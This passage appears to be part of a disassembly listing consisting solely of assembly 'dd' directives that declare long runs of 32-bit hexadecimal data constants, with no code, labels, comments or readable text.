		dd 0F1C93E68h, 0BB5331E0h, 4276E112h, 0CDF30001h, 0F2412A2Fh
		dd 0E27F3116h, 7C68808Bh, 98204B44h, 51B529EBh,	6FF9BB8h
		dd 83E287E5h, 0E2DEF056h, 0C3E90812h, 2D8073E0h, 0AF752CEFh
		dd 0E7A7A625h, 0BF62A3A4h, 7FEDBDA4h, 5B8CB44Ah, 64685602h
		dd 8241A774h, 0FD4EDFA6h, 0E81F7AD3h, 0ABFC7609h, 0E74057AAh
		dd 4EB77AE5h, 92FCF688h, 685C25FBh, 535DCA42h, 410190F4h
		dd 93C87EF4h, 21C44160h, 9AAD3F7Dh, 84237589h, 0B97D968h
		dd 9E5657Fh, 9619A432h,	7EDF3351h, 3B129B4Ah, 96DBF7BFh
		dd 59C068EBh, 8752E24Bh, 782FD5D6h, 0C417E45Bh,	0FAD0E629h
		dd 4F27A4E3h, 566AA2FCh, 0D7A9521Ah, 0D8B3F558h, 8A06E724h
		dd 37E49ACAh, 0F8CA5EF3h, 75F90189h, 0BD828EC4h, 293420FDh
		dd 0B44CE9EAh, 0C1333923h, 7BB77BB6h, 89F2E5FFh, 0C48F5658h
		dd 41E46ECAh, 2ADB4EDCh, 167145C0h, 0E4414A14h,	370BCD96h
		dd 80309901h, 673F09C6h, 6A0CC14Eh, 6EDF07DAh, 0E95087C0h
		dd 0E7D953E3h, 0B37AB00Dh, 28ED42C6h, 0C03A4055h, 0EEC7DD10h
		dd 3F8A90B5h, 2A2C9666h, 69C35109h, 0A06B87F5h,	73126F0Ah
		dd 0A9005028h, 77DE5A23h, 2A54AE9h, 0F0015EA5h,	0CF946661h
		dd 0FCF01DEAh, 0E8DC020h, 6358685Dh, 73E6AA12h,	0C8B70FC2h
		dd 0E984EBE5h, 0A8BB4A7Eh, 0CE5B797h, 0BE4B1DFCh, 409D6B6Ch
		dd 0EC518860h, 94DA2BFEh, 0FEE72013h, 0C0EEC064h, 0E942B6C3h
		dd 16822D4Bh, 0CAD9D75Dh, 35FBD549h, 42ABE98Bh,	0A1B6FD2Bh
		dd 76758B82h, 649D5CACh, 0F48B204Bh, 20FF589Fh,	2D05C88Eh
		dd 39C125CDh, 127084BBh, 0D6B3FA07h, 0E0048592h, 0C53F6B8Fh
		dd 0D6C2830Dh, 0FB461A44h, 40F0CAE9h, 0F055870h, 6DE418A4h
		dd 0A3C2EA69h, 0DC3DE25Fh, 12DA8854h, 0DFD85C16h, 5B8C40C8h
		dd 0B3FE8F6h, 2C84C831h, 0FCAD9526h, 18DA44Ah, 1B24D0Eh
		dd 82826F5Eh, 60E4710Ch, 74A1E95Fh, 2ACA995h, 292DFE55h
		dd 0FB17E0F5h, 9DD223B2h, 0DEA9CD22h, 285169A3h, 519582CDh
		dd 9593162Eh, 0C6CAA0A0h, 28B5F7BCh, 9D2903E4h,	0ED4B5678h
		dd 0A84F41ECh, 96DB1BDh, 0BADE246Eh, 971AA4A0h,	0D931BB02h
		dd 0FE97CB96h, 16F50DD8h, 2DCA30D3h, 0BD19400Eh, 34FCA110h
		dd 0F36033E0h, 0AD07A305h, 278D1114h, 49DFF327h, 0AFC2DAFCh
		dd 0B187570h, 9FDBFA02h, 0D5ADC1FEh, 804C6A69h,	0BC2E2217h
		dd 23EACF23h, 0F2D8EC6Eh, 84794A10h, 60EE279Ah,	8FE9A2F2h
		dd 84B7265Ch, 810B0568h, 0DA4B2701h, 4E003F17h,	0BE5AD789h
		dd 5A4E7B83h, 0A64BF04h, 2D6D2A82h, 4CCB01DCh, 0E077DA07h
		dd 6F0DCD93h, 14ECCC58h, 57E0ED65h, 551BE22Dh, 3F08F188h
		dd 1A7644E9h, 39E954C0h, 949B951Ah, 9952CBCAh, 2FCEC506h
		dd 504F6F9Fh, 935F08EDh, 72098801h, 69C3BE00h, 4AF71A6Eh
		dd 9147EBD6h, 0F2ABBCE9h, 0CE0850BDh, 0F24F1FF4h, 0D231B936h
		dd 0EE07E71Dh, 29231160h, 0D6132A25h, 0BF2D12BBh, 0C52035B1h
		dd 0E5BF2CE9h, 3CEB8F9Dh, 0C07A6344h, 4D396DDEh, 0EDA15E5Ah
		dd 0CEEBCC4h, 0B3D7E992h, 0C01FF3D5h, 8909D9DFh, 0DE79DDDAh
		dd 6A3E04C9h, 38F72909h, 0BFE4AF5Bh, 0D45DE13Ah, 69B84794h
		dd 0BEB556F0h, 0B2F19FBCh, 2B9655E9h, 36C51D2Ch, 3A58DAADh
		dd 61983630h, 0CAE71347h, 400B4B7Eh, 223E9FE9h,	5D3C337Bh
		dd 57C27513h, 99426CF4h, 0F2A25D9Ah, 57095554h,	579FE1DAh
		dd 8D8E219Bh, 647EC498h, 208B169Dh, 0CB9F0248h,	9DBD70C7h
		dd 0F47A6AFEh, 5EF5C02Eh, 2170FDE9h, 0C217D4BFh, 2C70DC85h
		dd 9961EE39h, 7D0CCCC6h, 0EA10CEC3h, 0DAFF25E9h, 6EA380E8h
		dd 57212D27h, 1339B303h, 0E1B032A3h, 8E182AC7h,	311A414Dh
		dd 0B58AEE9Eh, 7235FD72h, 480C6CE0h, 494BE08h, 68B87DBCh
		dd 0E958D3A1h, 96DF10F2h
		dd 54532DBh, 0B1F2C2F7h, 0F261F9F6h, 2B8D6854h,	0D1A4302Ah
		dd 14EEC09h, 96701FA4h,	1C762D59h, 71696580h, 25685E3Bh
		dd 1DF12395h, 0EB29E961h, 0DF28924h, 7D441C1Eh,	704A890Ch
		dd 8B56548Dh, 798058C1h, 2E51735h, 2C196814h, 0E7C45E22h
		dd 255668EAh, 0C9C1B65Ch, 0F3C357B8h, 8CF9C2C3h, 0DFE5521Eh
		dd 542D175Ah, 289265E4h, 0EF3DF1FAh, 33450904h,	81AC80Fh
		dd 5A1C1CBEh, 2D0A99C7h, 314919E1h, 809AAF20h, 512D6866h
		dd 0A42CAF41h, 42D0B9EBh, 5A70275Ch, 7A4EE15Dh,	0CEAF34D4h
		dd 94E9C50Fh, 0B95F72ACh, 2A028408h, 56685100h,	377B592Eh
		dd 0F962A527h, 9F766927h, 9721F850h, 0B20CB47Dh, 88CD9D91h
		dd 8AAE0196h, 13E9098Ch, 0C9C468A1h, 114F3B66h,	7517F603h
		dd 0C1F311Ch, 93BE5161h, 14B07FE9h, 2FCA7721h, 77F6D4CCh
		dd 2F1EC63h, 277EEB4Dh,	9A706A82h, 6FECD497h, 90E3C556h
		dd 542CCAC4h, 6E271B7Ch, 52F4199Bh, 58FBDAF3h, 1591697h
		dd 2596BCC6h, 888E51E4h, 7727E3C7h, 5B090344h, 58FEEE0Fh
		dd 40729790h, 98661BF8h, 0BDF25E2Ch, 55FE5E8h, 5FD5E9Fh
		dd 884EF7E9h, 1A4BDFC4h, 0AE25D0E3h, 21B4CEF0h,	750B3D09h
		dd 0E6D12033h, 3F242E2Fh, 0CEB58E21h, 20DBA596h, 0D59F366h
		dd 0C4AB230h, 0ED738AEEh, 0A8B1643Ah, 5151C9F6h, 0F2C0D210h
		dd 95DF622Dh, 0B6031D50h, 58E628CDh, 2C4145F9h,	108C943Dh
		dd 0BE402E91h, 0C5AF4CB4h, 4337C659h, 0ED6282B8h, 3BEE1769h
		dd 0B2588CF4h, 29B431AEh, 90515A2Ch, 0DADF4C5Eh, 567E3AC4h
		dd 0D770AEE2h, 0EC57BEB1h, 65940C06h, 160FBC88h, 0D755815Ch
		dd 0E0598F09h, 27170B55h, 0DD975B1Eh, 0D0595F37h, 0FF116F3h
		dd 0F501EA6Ah, 38462906h, 50DA03Fh, 28441A01h, 89E9D531h
		dd 0B95CCE24h, 0DFCF01DAh, 0FC01720Ch, 299FAFA8h, 2BF940E7h
		dd 727B4823h, 0DB346E0Fh, 27FAAC92h, 7834D501h,	0C528E912h
		dd 92403CE2h, 0A61C0B40h, 0A0FD5973h, 2287F181h, 44E0FFD4h
		dd 0B2FE5EDDh, 3F5304D7h, 7DC04528h, 48697C26h,	0E01D6227h
		dd 3148C594h, 6CDFABF7h, 2DE90D54h, 1D654491h, 0B7F09216h
		dd 528F2568h, 0E1968ED1h, 9C285A4h, 49F36839h, 3B9972F5h
		dd 0BEAAD929h, 0AA524FCDh, 9E00BB29h, 4E326C4Eh, 0B941FE42h
		dd 2326C4DCh, 9C0F847Eh, 0F54037F5h, 3AA0022Dh,	0C2292ECDh
		dd 1EDA5D43h, 7C888371h, 805A037Eh, 0C4992CCCh,	40ECD945h
		dd 8858E5F3h, 18C259ECh, 4843E9D2h, 3FB0501Ah, 0C6BD5287h
		dd 9C8956A7h, 7E0BE309h, 0D968BB5Dh, 0AA5008C8h, 4B3118CAh
		dd 90888068h, 0C55A7AF4h, 6B13B2C2h, 72DEB2D5h,	0C20C98CFh
		dd 59D8685Fh, 77A5F971h, 5B4A424Ch, 0E981B667h,	322B1D9Bh
		dd 7E77535Fh, 3D1A4DBh,	119D99F9h, 0C5F0D6DAh, 40E9949Fh
		dd 592AE933h, 0E420F3D3h, 4BADF420h, 98D4EB18h,	0B77DBCEFh
		dd 256A6861h, 82BFF23Eh, 0D751A9E9h, 43BED76Eh,	0FBB09F54h
		dd 0FA83B865h, 218E7DF2h, 23F5C397h, 0E2B4D0C3h, 0D7022D53h
		dd 0A1E94118h, 0C7F94967h, 8D607053h, 5DF1FFh, 17A2E908h
		dd 5D5128B6h, 0D6B7AD7Ah, 0B349A5E3h, 0EAC2529Dh, 0B6BE1513h
		dd 0D75012D2h, 0B70FD802h, 79A860C0h, 0E9348444h, 0D18C2140h
		dd 2D12FEBAh, 47D6626Ch, 1D909A17h, 8795C2h, 5B0517B1h
		dd 2D1F707Ah, 6260351Eh, 7D24CA6Eh, 5E76E422h, 7924DA25h
		dd 9816CEF9h, 0DE02F6EAh, 0E9A6B151h, 0DFE7CA3Ah, 5858EE72h
		dd 93C1166Bh, 0A662EC62h, 36CB33EFh, 20A96F89h,	2560C93Ah
		dd 2D07E17h, 7C156DB8h,	0D1BDA9F0h, 52820030h, 1CE91848h
		dd 2536B049h, 0C4E55FEEh, 17F3BF93h, 0DD25F105h, 0EAB78279h
		dd 0B30B4CA9h, 1CEB1002h, 8AE2E874h, 0FCAC04D6h, 3B1965Eh
		dd 168176A4h, 0DB68A5CAh, 0A81594BFh, 4C88A0D2h, 8D49787h
		dd 8F10E961h, 4857D37Bh, 0BB5611C2h, 50FAC696h,	0AA0EEE5Dh
		dd 17FFA103h, 0ED2E00E2h, 0C1DAF76Bh, 6D9A20F1h, 803880EDh
		dd 0E3302FF4h, 95D8E658h, 0E4B5EC61h, 1601B353h, 0C380CBFEh
		dd 7160082Dh, 2EFA2BE9h, 0CC582D84h, 3B53CE95h,	172F09C9h
		dd 3E92FA43h, 0F5FA00D5h, 5AE13963h, 473AA038h,	978C674Fh
		dd 138A48B6h, 2E6C001h,	0CC7AC680h, 0E97AF2CEh,	8AE2354Bh
		dd 947DC22Fh, 0F6EE9529h, 0E9FC5431h, 69E01EBh,	87F4CC34h
		dd 0CD0BB93Ch, 0A0152471h, 0FF781D5h, 38770052h, 2A86B850h
		dd 30B01D64h, 0EEB9EA88h, 28533C17h, 61358502h,	0E13541C7h
		dd 5A2E0430h, 0A921FF0Bh, 108086F8h, 0DC0874B3h, 0D469F65Bh
		dd 34D27204h, 0E033912Ah, 5F9FE2C5h, 0D3CCF482h, 0C932E5D7h
		dd 0AEC54755h, 7F084966h, 0F5DEE28Dh, 0FDD9180Bh, 238B286Eh
		dd 0EF8D5B9Bh, 4099B344h, 0C0408DA3h, 0AE344B79h, 0B0AB9425h
		dd 21F8B54h, 21D2685Ah,	8B01FACCh, 93E9C8D8h, 0DC371E4Eh
		dd 77D41492h, 131821DAh, 7E0C46AEh, 44B32C32h, 208524F3h
		dd 25A3A008h, 971B155h,	0C7C6288h, 31215051h, 3448792Ch
		dd 0DE51FC1Ch, 0ADF0CCE1h, 0CE16ED71h, 0C9B0387Dh, 268024D4h
		dd 0A5E32F16h, 8F3049Ah, 0A455E985h, 4ED9CEAEh,	0C1B45BF2h
		dd 12AAAF2h, 77E26668h,	54239819h, 0DDCCA29Dh, 7C682FE0h
		dd 539473F9h, 4D0D3987h, 77C22F05h, 9056B606h, 2257710Bh
		dd 7C576268h, 0EDF2F09h, 0C5426087h, 4429D61Fh,	8F4BE9F2h
		dd 0F92D9200h, 3A38686Ah, 9325F801h, 20401A5Dh,	2D5EF00Fh
		dd 8C4D1D1Fh, 4F435C75h, 0D3E456EEh, 1A0AE34Fh,	752C3DDAh
		dd 203AC64h, 0E9144887h, 2B92B4B7h, 5DDC62D3h, 0C34E45Eh
		dd 50F0BCBAh, 2F701A2Fh, 0E90DD69Fh, 412B3600h,	5AC303D0h
		dd 0C4DF5C1Eh, 0DEE53CC0h, 5195F43h, 1396E9CDh,	448BBBB4h
		dd 651B1D00h, 0B5B4E974h, 8700A097h, 974B77BCh,	3930F8F2h
		dd 0FCBB1C76h, 7EBF1326h, 7F36FD2Dh, 0D4E375EFh, 0D5BCD382h
		dd 84166128h, 0BEA13E6Bh, 8091D44h, 15715F5Fh, 7BD17552h
		dd 5F2EDE8Bh, 0E91763B4h, 0EFF9392Bh, 0A32F7A84h, 275B7F5Fh
		dd 36D22131h, 757302Ah,	3E70EF80h, 52F4C77Fh, 3902E95h
		dd 0D93C472Fh, 67BEEEC3h, 9D57FC5Bh, 92FE5DD2h,	0E7D15FEFh
		dd 0DE6D3319h, 57A4097Eh, 246E977Fh, 0D926317h,	0EE2293Fh
		dd 0C172B462h, 0C0121CF2h, 897B40CAh, 42B62FBAh, 340A0EDCh
		dd 15BC6C13h, 2EC75B2h,	8F4130F2h, 0BC646009h, 10DD0554h
		dd 0AB0E37E9h, 4E731D31h, 0A9C23381h, 0EF2DF2E8h, 48B9B085h
		dd 396E3503h, 0C80D44EEh, 777AF87Dh, 539A042Dh,	0F1DFE96Dh
		dd 1CA66F1Ch, 40332D5Eh, 0EE5E4913h, 0D95A4F75h, 1095C884h
		dd 932FA6BFh, 462B3BBh,	18A8E9E7h, 0E581C0F4h, 0DAE9213Eh
		dd 4BB72A28h, 0F5FC647Bh, 7AD7AFBEh, 51B80A3h, 0B6685314h
		dd 0D10CE34Ah, 855CB64h, 0F789BC63h, 8060DCD3h,	5120ECF3h
		dd 9F5DE909h, 0D90135ABh, 5CD440BFh, 5E1DDA0Ch,	0EA3CF9B5h
		dd 398402AFh, 6FD850E9h, 569F94A5h, 0F4D297D7h,	1C55714h
		dd 52F023E2h, 0D392E86Fh, 0DA81FC0Ch, 0B5F54EFEh, 59091FFAh
		dd 22556968h, 0B7062C0h, 0B9326558h, 0D7050E56h, 16D24BCBh
		dd 2C2CBB50h, 5B3C639Dh, 4CC23040h, 0C5F70E5Ah,	0F5A6DB3Ch
		dd 0A632C9h, 2D054891h,	9093BF22h, 5387124Ch, 46DBC24h
		dd 6FFC3269h, 16D9ACEBh, 0E39B8F11h, 7B090D6Bh,	0C4487969h
		dd 7A4BE940h, 525B73BBh, 9037D48Fh, 0C5895B0Eh,	1CF8584Fh
		dd 68050798h, 0D662AB26h
		dd 7A34B5C0h, 0FD310073h, 0E9EE215Fh, 6ABDAAB8h, 0D0DD43F4h
		dd 4B80710Fh, 0A947A077h, 0BDBD81F3h, 57BA679Ah, 0E59A397Bh
		dd 39EC2B0Ch, 1DB157B8h, 6F88F8B0h, 0A0384A6Eh,	5459EA1Dh
		dd 0D7B7845Ch, 0D94E685h, 8A4FF0BFh, 0AD0787BDh, 0D9D43B65h
		dd 57B2BCF9h, 50FAD677h, 14120368h, 25B87220h, 0D3BB445Bh
		dd 70D7D84Ah, 0DDE48995h, 51C01AF9h, 1361BA52h,	10BD066h
		dd 0E5376E6Eh, 0B2162F45h, 3CDFC0FFh, 5B2C4822h, 0B0024149h
		dd 40749D6Bh, 3ACA5E2Eh, 0AB971767h, 0A1C1FC19h, 9CAFE106h
		dd 5AA5987Eh, 2C5A7E3Ch, 64DFBC90h, 7AECBAC3h, 0AE4BDF4Ch
		dd 555A8682h, 6F775A3Ah, 42E90550h, 0E89F95DEh,	12D25226h
		dd 6CBF1E53h, 7928E9B0h, 76BF11F4h, 1C680550h, 8FAA302Bh
		dd 0E25FE903h, 0E5AECFD4h, 0B127EC7Fh, 0FD2C9FB3h, 24301108h
		dd 98CF1A2Ch, 26CB965Fh, 0A54A6268h, 0B0542D54h, 0A98860B7h
		dd 0FA7467CFh, 0B0744B7Bh, 0F0CFC4B5h, 0EDA94F6Fh, 345CCCB2h
		dd 3460C0Ah, 0D8A2477Fh, 6BD1F155h, 2D7B96BDh, 12DD08A1h
		dd 0AFEB017Eh, 0F120864Ch, 5FD2401Eh, 3DA46B9Bh, 3DC02008h
		dd 0F3A49FBEh, 0A05516FCh, 0EA51301Dh, 27A562B4h, 0A44FF4C1h
		dd 43D90061h, 0E946262Ch, 97EA0F33h, 546EBACAh,	28561A37h
		dd 8126E544h, 0E9C0FE6Ch, 9DFFFCF1h, 2E932CCFh,	0BF4B25ACh
		dd 0AB4F0C9Bh, 0AA5B588Eh, 154BD331h, 6880E838h, 79D3373Ch
		dd 0F6E95A4Fh, 52124C05h, 0C3ECC236h, 73223AD7h, 0E9CB02E6h
		dd 5E6BDC77h, 0F01D74F7h, 0F59505C4h, 0A738388Ah, 0A7956757h
		dd 419DD05Ah, 0D06B2FDFh, 17B2CF2Dh, 6405A435h,	0A682E91h
		dd 6158A32Eh, 190BE95Dh, 0D5F616ADh, 61D97D02h,	0B9567DDAh
		dd 0B4A2F55Ah, 28041AD6h, 468E81BEh, 13800466h,	0B96BCE3h
		dd 59CB09EAh, 0D10330FCh, 0F9D387EBh, 5D26DDEFh, 19C2D227h
		dd 0ECDD3DFh, 0BB172836h, 622A09D9h, 0E02F0AFh,	62480707h
		dd 0D1986C76h, 0D41629BAh, 0F3F1A67Fh, 375DE08Eh, 2855276Bh
		dd 9427087Ch, 0AC549550h, 879DFE9h, 76C06693h, 50167EBFh
		dd 5FD28439h, 0F2104415h, 7F60949h, 0FE34BB95h,	12E3CBEAh
		dd 0D03F801h, 0FF804CA7h, 2D353CECh, 0F90A2316h, 96752747h
		dd 14E924E9h, 60C2A570h, 0D5814A55h, 0B972DD84h, 1327586Bh
		dd 4A4BDF19h, 964804F7h, 804E5804h, 4A3F2FECh, 0DE097113h
		dd 0A116BE2Fh, 4002582Dh, 5D2D6EA8h, 2FA65C6Bh,	0D17DD742h
		dd 0BE29424Eh, 0D2468176h, 3342BDA3h, 5A98FB50h, 0C7094778h
		dd 0D041E918h, 0E999D37h, 6BF435Ch, 2C17584Ah, 5DA7B0C7h
		dd 0FEF9C7D2h, 588B5DEh, 0AB60CF27h, 61E01489h,	5A49B72Fh
		dd 5CACF04h, 0F7A9FA57h, 1951F360h, 24585950h, 1A677F07h
		dd 7979F103h, 0E4BD5E94h, 610043E3h, 0C1056603h, 1399FC9Eh
		dd 0B43973E9h, 183CE7AFh, 503B1F7Ah, 1A48A74Ch,	377C2A68h
		dd 122BF5AAh, 0F0B6E8F9h, 0B4F830E9h, 23F3015Ah, 0ED5BD828h
		dd 2DBD64B7h, 93252609h, 4A7D5024h, 68080E84h, 776B1903h
		dd 0FF4E9AD0h, 0C6CB4591h, 0AC844A2Ah, 0CC3209A5h, 4FD6F1FEh
		dd 75F22AA6h, 0B56164B5h, 0AED56B6Bh, 56E9754Fh, 0A85875A1h
		dd 5AD61689h, 6355E92Dh, 6CE9FAFh, 17AAEFFFh, 1C5FF2F9h
		dd 0ADEE4184h, 0B1D4E127h, 0BFA5F33Ch, 5EA67BDCh, 1721324Bh
		dd 0E392A05Fh, 0FBC755Ch, 0FB314B19h, 0FEE6F7C4h, 5CA7F667h
		dd 0CAFA539Fh, 35F4D25Ch, 38B54E9Fh, 8A2F6866h,	59C55C2Dh
		dd 82AC6B29h, 0A4A1434Ch, 443D8012h, 5D1DA67Ah,	9E4B8D1h
		dd 6AE7CD81h, 5AA428Ch,	574438B6h, 0D12396C1h, 93C1F37Bh
		dd 41F10E98h, 52FA2BD8h, 24B41C66h, 6D8D9E58h, 0B1514B10h
		dd 2006FD5Ch, 4FBB09CBh, 3602D716h, 7D74070Fh, 5DCE29E2h
		dd 8C79B232h, 8CB5B49h,	0BF12DF0Fh, 29D244EEh, 0BD921F7Ch
		dd 16CF2BA4h, 0FBD313E4h, 0BBEBC401h, 0A02B9CDBh, 2296EAE5h
		dd 90250512h, 709334ECh, 48606831h, 0A008599Bh,	8EA24FEh
		dd 9E23D30Ah, 45BB6886h, 5F7620ADh, 5BBD317Fh, 0D1F7018Ch
		dd 0C2709168h, 0C1B5F97Dh, 81FD88E9h, 209EC2D1h, 0E5ECFC86h
		dd 0FBC4BDACh, 4D927FF0h, 0A5334CB7h, 7604E94Bh, 0DB47AA7Ah
		dd 170E224Bh, 43682F60h, 0AA2FE101h, 0D88B3E2Dh, 0C9FCE7E9h
		dd 53D1F685h, 5D9F03FBh, 5A01FEE8h, 1D85CA81h, 0B73B3FB4h
		dd 7DE93980h, 7761A096h, 0F370AA5Fh, 6547FF5h, 92E932D5h
		dd 59B5260Ah, 2E59005Bh, 6FBF7E5Dh, 4033580Bh, 0D967531h
		dd 7FAD8195h, 0B02F461Ch, 0EC973360h, 63E7817Ch, 5D88D75h
		dd 0CF014C7Fh, 0CAAB5D7Bh, 8B4A7C58h, 22D54A16h, 75A4D882h
		dd 7F09BE4h, 50BDE0BAh,	3F52007Bh, 0B1357DA3h, 3A0A2C62h
		dd 0BD8E51E9h, 28EE8181h, 0E1C74F11h, 4A29016Dh, 0C276A2D2h
		dd 665002C0h, 3412748h,	95052B29h, 0DC38BB32h, 0FEF52685h
		dd 0D6F7735Ch, 5B3B1CCBh, 96BA74Bh, 975182A7h, 0F78100EFh
		dd 673D4AEBh, 92B2927Ch, 892FECFDh, 56BD6DC0h, 71AFBF80h
		dd 0EB644A6Ch, 4CEFAE20h, 5E9BE293h, 7403EB2Dh,	2C943E9h
		dd 615DBE78h, 9D7261Fh,	937E80BDh, 0ED640734h, 45CFDE4h
		dd 0ECE93896h, 0D8F6AE8Ah, 96D55C8Bh, 5B1C40E2h, 0EB33D59Dh
		dd 69F78D8h, 9749E980h,	0C780DD00h, 0FC27303Bh,	7A6C5D5Bh
		dd 0B26BE8BFh, 17527350h, 0EC4DE9E6h, 0DABF4A33h, 0DE90CF2h
		dd 0FCB27AFh, 79D41CBBh, 17E7D766h, 0C4BAEA4Ah,	0AECE123Ah
		dd 0C05B46A0h, 6F4B561Ah, 55EC015Dh, 7B08BD52h,	17F03CB8h
		dd 7038B925h, 6E8C257Bh, 55288548h, 2DD3F680h, 0F158E3C0h
		dd 722F39A0h, 6627E79Ah, 0EB04F170h, 74252145h,	28269DB1h
		dd 365D4EDFh, 68182558h, 67FB6CAAh, 3F2981C0h, 7A25AAC5h
		dd 71981B05h, 4A4BE3EBh, 35F2DEFFh, 0C0777A8h, 1DE53139h
		dd 10A209C1h, 51293A20h, 804EEEBh, 0AED64FBAh, 65538DB6h
		dd 14FA3B19h, 4B4189Ch,	0BB41B6F0h, 0F631C391h,	647579A7h
		dd 0C7A430F2h, 5C80116h, 2D683B0Fh, 2BB68520h, 0BE5659D0h
		dd 0D8771FB0h, 0D99C0C67h, 900CF347h, 0C04D027h, 0F62902AAh
		dd 0D9E1E91Bh, 0D19DA3FDh, 6C4005E2h, 0FC0E5D19h, 0DC5B2ACCh
		dd 871C76B7h, 6E3BC1A1h, 0E22EED60h, 8A2DE963h,	548CFE12h
		dd 7557809Fh, 987DAF05h, 0D716549h, 0BB3FC501h,	0B7C03FE2h
		dd 0BD28FB36h, 270DB017h, 0E9F59700h, 0BFFEFDB3h, 829D36EEh
		dd 0A2715C8h, 0AF7FC913h, 8DBBE564h, 0B48F985Eh, 25D33C8Fh
		dd 282B2841h, 0C72A0BC7h, 59D4439Dh, 3EADF807h,	0E7C06DC0h
		dd 54982009h, 110B84Bh,	46285419h, 7BB19AE9h, 8DE52C34h
		dd 40C29B40h, 0F86D5ACBh, 0AB614A74h, 81040625h, 6BEA8E83h
		dd 1B736DCh, 5BF920A9h,	9FBBF180h, 0FAE4E506h, 880BA113h
		dd 35973110h, 9FBAC034h, 0D0270656h, 0B8F3E604h, 0BB514A4Fh
		dd 0C2F448Eh, 99B7ECB3h, 0E251FB75h, 365C261Bh,	740C5F62h
		dd 0A9029397h, 0DA139ECBh, 435D0545h, 0EFC164BAh, 419DF6F0h
		dd 9BB2A04h, 3B8B114Eh,	697BBA00h, 0E97C09F5h, 7D3EA5E7h
		dd 0B4061EA7h, 524DB03Bh, 1F53FBBDh, 592EF30Eh,	795E1979h
		dd 941CC616h, 9824D999h, 80D8AC6Fh, 8D63E0BEh, 9654FC68h
		dd 42D62D4Ch, 8E42C926h, 0C5B503E7h, 0A5D156B9h, 0A59B5624h
		dd 4C717570h, 681711F0h, 0D6F3753Ah, 2A978E00h,	0CD315993h
		dd 0D39FEE95h, 0E5BBACA6h, 0FF0D130Ch, 4CA8C259h, 91802E53h
		dd 4A3D46C6h, 9E511828h
		dd 47BD6F02h, 0D853E974h, 2D45B012h, 10742F98h,	0B27D7C2h
		dd 6B97C340h, 0C795530h, 5BC67EF7h, 6EBDA153h, 0E266D9F0h
		dd 0C1960ECh, 9D3B6917h, 252CF295h, 23D4DD92h, 5E01EEEh
		dd 6853555Ch, 9687FF6Fh, 5A845ED2h, 29A40CC2h, 310C613Eh
		dd 4EDC6416h, 453F183h,	7DA6CF25h, 15AEF012h, 6E4E7F7Ah
		dd 7B6904ABh, 47981D60h, 0C23B544h, 0FB89CBD4h,	0E6655820h
		dd 83A92987h, 0FAD61F14h, 24DC12D6h, 0B4A51065h, 9D7192Dh
		dd 79637D9Ch, 56956A73h, 2274E2B4h, 0E0978346h,	0C1C98243h
		dd 2756C6BDh, 0B9F030B4h, 0B8ADEF40h, 33200051h, 68D8297Ah
		dd 989701EDh, 28091756h, 20841654h, 58486E2Ch, 0F6B954F9h
		dd 2B92829Fh, 5EE99949h, 0B532BC7Eh, 0AA8489B9h, 9F49B202h
		dd 4BA44A15h, 0F01091FCh, 1B84E3Ch, 0B497E33Fh,	71D2000Dh
		dd 0E972A665h, 4B9FFB37h, 6979F863h, 0DE85C28Bh, 2E1E95Fh
		dd 5A1134F3h, 30684026h, 609A764Fh, 0D88A0E4Bh,	0C89F1F59h
		dd 17BEEA24h, 1E17F436h, 8513934h, 3EF30C85h, 0D39CF067h
		dd 2D4E5DE6h, 177D4EA2h, 0E934B560h, 841D856Eh,	4A7BC08Ah
		dd 516AC785h, 72FEC3F4h, 1AFF4BAEh, 0F85F0F65h,	2587273h
		dd 3BEF145Ah, 0E87DC083h, 2FEA0670h, 64D608DCh,	0BFF22970h
		dd 316F5116h, 8477A9B2h, 0A5BC1808h, 7E955C1h, 0F175C211h
		dd 0AF99BDCCh, 2E5BB254h, 362828AAh, 2049704Eh,	0DDBD62CDh
		dd 0BA82F7E7h, 80874365h, 6E83E2E8h, 0A12B5059h, 0E3518B9h
		dd 6F551876h, 0E933450Bh, 68CEC0C3h, 97377096h,	975F1C75h
		dd 54C1F9B2h, 0E78A7F67h, 0E9052B4Dh, 0FFFEF8CBh, 0B5F038DDh
		dd 0A77CB733h, 758368A4h, 0F93B3C71h, 1EAFAB2Ah, 75E28B55h
		dd 1CA62EC8h, 3C3CF997h, 8D73497Dh, 0A72C017Ch,	2858C630h
		dd 0A0E52CF0h, 92FBF1E9h, 0C2EC2008h, 0E5CD0126h, 92DF12Fh
		dd 88C4793Eh, 0C2685602h, 0DC627254h, 9D0100A7h, 0F589FACBh
		dd 0E858C1B6h, 0F06327E9h, 0E2A07A64h, 0DF8284A1h, 0C6396AF8h
		dd 83EEB92Eh, 0F65AF708h, 0BFCFD9D7h, 0E9A1C7FBh, 3287EDD8h
		dd 87C0DBB1h, 4E13203h,	800C6CE0h, 0A50BEC3Dh, 660401ADh
		dd 0A4C39468h, 0BC47EEF4h, 38DD2560h, 5E226808h, 5FDF7319h
		dd 2C23AFE1h, 0A9E9CE75h, 0B021FAC3h, 6C5EB70Ch, 28825D17h
		dd 4259C051h, 9B76B744h, 72F8DB89h, 27851DE5h, 95B16E5h
		dd 9452D7E0h, 7A58B70Bh, 7EEE751Ah, 44C73E2Dh, 0C9534C3Dh
		dd 7FF9802Dh, 0A50273CAh, 5710842Ch, 2DF74E2h, 4A62E97Dh
		dd 0F700FF21h, 2EEB0843h, 881F7A4h, 42F5FC59h, 75682A16h
		dd 76D544BAh, 0E85E0B83h, 92821552h, 2DF2770Ah,	2A2107Fh
		dd 68027B1Dh, 254457E8h, 68C5BDB1h, 59896DF9h, 482F91E8h
		dd 0E9B3989Dh, 951952FEh, 9587FE4Bh, 17FBEB60h,	5A621F75h
		dd 0EB025283h, 0D94E34CEh, 113720C8h, 78A21E53h, 0CCE09424h
		dd 0BE828B8h, 0BEC8C020h, 0E0BBD91h, 6CD537CCh,	90C82F4h
		dd 7D91FD08h, 270B6C4Ch, 0F98F5F05h, 0E4759A69h, 4F01F065h
		dd 3E96F36Eh, 2D0402DEh, 0C61069E9h, 80E2EC4Fh,	0E9BEF588h
		dd 0DD215867h, 72BBB551h, 0B9F067A0h, 0A72D747Bh, 2B02571Dh
		dd 5EC8C8D8h, 632A6859h, 5EB54427h, 5DEA62CBh, 0E9060CDCh
		dd 0A1366B02h, 0F3C15ED3h, 95428BE8h, 318951DEh, 0DF9986D1h
		dd 0D5CB5115h, 101FE22Ah, 530F0845h, 0BF656ABBh, 80B1AF40h
		dd 7893FFF6h, 302E1DE0h, 0EE0425Bh, 2C8F042Dh, 0AE0563B6h
		dd 0E90971F8h, 8763EC83h, 0B4C4C5CDh, 0D86BD706h, 2021D018h
		dd 58BD564Eh, 0FD2C0FE0h, 0F684C828h, 5768CCE4h, 0F39A449Fh
